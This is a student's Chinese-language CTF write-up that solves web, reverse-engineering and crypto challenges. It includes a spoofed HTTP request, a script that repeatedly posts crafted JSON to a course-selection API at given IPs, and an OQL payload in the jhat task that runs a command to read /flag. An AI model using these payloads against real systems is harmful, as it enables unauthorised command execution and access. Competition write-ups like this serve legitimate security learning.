Info

username：粉毛只会睡大觉

name：张崇轩

studentID：23030312

WEB

ezHTTP

按照要求修改http报文，发送正确报文直接给flag。

```
GET http://47.102.130.35:32310/ HTTP/1.1
Host: 47.102.130.35:32310
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Vidar; VidarOS x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
referer: vidar.club
X-Real-IP: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7,en-GB;q=0.6,no;q=0.5
Connection: close
```

Select Courses

非预期了，有概率实现json解析变量覆盖。

```python
import requests,json,random

aim_url = "http://47.100.137.175:32009/api/courses"
headers = {
"Host": "47.100.137.175:32009",
"Content-Type": "application/json",
"Origin": "http://47.100.137.175:32009",
"Referer": "http://47.100.137.175:32009/"
}

def generate_data():
    data_key = ["id","full","status","is_full"]
    data_val = [2,0,True,False]
    for i in range(random.randint(0, 3)):
        data_key.pop()
        data_val.pop()
    l = list(zip(data_key, data_val))
    random.shuffle(l)
    post_data = dict(l)

    json_data = json.dumps(post_data)
    return json_data

text = ""
while text.find("\"full\":1")!=-1 or text=="":
    rsp = requests.post(aim_url, data=generate_data(), headers=headers, verify=False)
    rsp.encoding = "utf-8"
    text = rsp.text
print(text)

```

jhat

一开始光顾着分析内存信息了，~~疑惑为什么找不到和flag相关的东西~~，后面发现OQL有命令执行就直接一把嗦。

```
new java.util.Scanner(new java.lang.ProcessBuilder(["cat","/flag"]).start().getInputStream(),"utf-8").next()
```

Bypass it

没反应过来想考什么，禁用浏览器加载js，然后注册账号再登进去就有flag了。

2048*16

打开devtool搜索game找到这段生成flag的代码

```
g[h(432)][h(469)] = function(x) {
    var n = h
      , e = x ? "game-won" : n(443)
      , t = x ? s0(n(439), "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3") : n(453);
    this[n(438)][n(437)].add(e),
    this[n(438)][n(435)]("p")[-1257 * -5 + 9 * 1094 + -5377 * 3].textContent = t
}
```

执行函数得到flag

```
console.log(s0("I7R8ITMCnzbCn5eFIC=6yliXfzN=I5NMnz0XIC==yzycysi70ci7y7iK", "V+g5LpoEej/fy0nPNivz9SswHIhGaDOmU8CuXb72dB1xYMrZFRAl=QcTq6JkWK4t3"))
```

对于反debug绕过我直接把"debu"和"action"字符串给去了。

RE

ezIDA

用IDA打开就看到了flag

ezASM

对flag进行了一个异或

```
c = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]
decrypted_flag = []

for byte in c:
    decrypted_flag.append(byte ^ 0x22)

flag_str = ''.join([chr(byte) for byte in decrypted_flag])
print("Decrypted flag:", flag_str)
```

Crypto

ezRSA

```python
from Crypto.Util.number import inverse, bytes_to_long

e = 0x10001
leak1 = 149127170073611271968182576751290331559018441805725310426095412837589227670757540743929865853650399839102838431507200744724939659463200158012469676979987696419050900842798225665861812331113632892438742724202916416060266581590169063867688299288985734104127632232175657352697898383441323477450658179727728908669
leak2 = 116122992714670915381309916967490436489020001172880644167179915467021794892927977272080596641785569119134259037522388335198043152206150259103485574558816424740204736215551933482583941959994625356581201054534529395781744338631021423703171146456663432955843598548122593308782245220792018716508538497402576709461
c = 1052948186753252003425805677386407401702701957804186624540064784023025166165299970971591962081093343719166118000329592327365567572958855889959252423562272881606550191807612081223658034499114098099153234799125270528863301491347997061005684554352359132417756706194892255227523548661551491393212543654399164260702868976269361730524671649278311681307035551260697162664559496185056758634038970582131484209646563188681228128984313225813180977379777704935878918221257060625250979083099426313202009415364629679352297563219191246391989898834928228497291993276195260337973323457535162403916244002194059255276857963997713099971
```

```python

n = leak1 * leak2
phi = n - leak1 - leak2 + 1
d = inverse(e, phi)
p = pow(leak1, d, n)
q = n // p

# 计算私钥
private_key = (p, q)

# 解密密文
m = pow(c, d, n)

# 将解密后的长整数转换为字节串
plaintext = m.to_bytes((m.bit_length() + 7) // 8,
byteorder='big')
print("Decrypted plaintext:", plaintext.decode())
```